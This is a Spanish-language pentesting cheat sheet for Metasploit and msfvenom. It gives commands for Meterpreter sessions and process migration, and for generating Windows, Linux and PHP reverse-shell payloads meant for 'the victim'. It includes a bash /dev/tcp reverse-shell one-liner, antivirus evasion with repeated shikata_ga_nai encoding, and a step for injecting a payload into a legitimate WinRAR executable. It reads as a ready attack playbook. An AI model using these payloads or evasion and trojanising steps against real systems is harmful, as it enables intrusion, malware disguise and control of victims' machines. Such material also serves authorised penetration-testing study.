Metasploit Y Msf Venom

Metasploit basics #

* msfdb init && msfconsole (abrir metasploit con la bbdd para luego pivoting)
* search <CVE-****> (buscar exploits)
* search <windows | nombre de la vuln ..>
* use <modulo> (utilizar un exploit)
* show options (para ver lo que podemos aplicar en un exploit)
* info (ver los targets disponibles, opciones, etc)
* set (establecer un parámetro)
* run (lanzar un exploit)
* shell (obtener una shell cuando ya hemos establecido una sesión de meterpreter)
* sessions -l (listar sesiones)
* sessions -K (kill sessions)
* sessions <numero> entrar en una sesión


#METERPRETER migrar sesion de meterpreter x86 a x64
pgrep explorer (esto nos dará el PID del proceso explorer)
migrate <numero> (el numero del proceso obtenido)

#METERPRETER BASICS
* sysinfo
* getprivs
*  getuid
* 

Payloads con MsfVenom #

MsfVenom Basics #

msfvenom --list payloads
msfvenom --list enconders (para codificar y tratar de evadir el AV)

Payload sesión meterpreter Windows #

Esto es útil entre otras cosas para el pivoting con metasploit. De esta forma conseguimos una sesión de meterpreter.

#Generamos el payload y lo compartimos con la víctima
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=443 -f exe -o fichero.exe


# Nos ponemos a la escucha con msfconsole (metasploit)
msfconsole
use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LPORT=443
set LHOST=<ip_atacante>
run

# Ya solo falta ejecutar el .exe y recibiremos la sesión de meterpreter

Payload sesión meterpreter Linux #

Igual que con Windows, solo que cambiamos el payload utilizado, en este caso:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

Payload reverse shell PHP #

#Generamos el payload y lo compartimos con la víctima
msfvenom -p php/reverse_php LHOST=<ip_atacante> LPORT=<puerto_atacante> -f raw > pwned.php

Ahora nos ponemos a la escucha con netcat y listo. IMPORTANTE, esta conexion se puede cerrar. así que una vez dentro es conveniente ejecutar una nueva reverse shell.

# Segunda reverse shell
bash -c "sh -i >& /dev/tcp/10.10.10.10/9001 0>&1"

y nos ponemos a la escucha con netcat

Payload encoding (AV evasion) #

Al generar un payload con msfvenom, añadimos el argumento -e y el encoder especificado.

con la opción -i indicamos las iteraciones al codificar un payload (si se dan muchisimas iteraciones también podríamos llamar la atención)

msfvenom --list encoders
msfvenom -p ...... -e x86/shikata_ga_nai -i 10

Inyectar payload en ejecutable legítimo #

Teniendo un portable, podemos incluir nuestro código payload en él con la opción -x indicando la ruta del portable.

msfvenom -p ...... -e x86/shikata_ga_nai -i 10 -x /home/kali/winrarportable.exe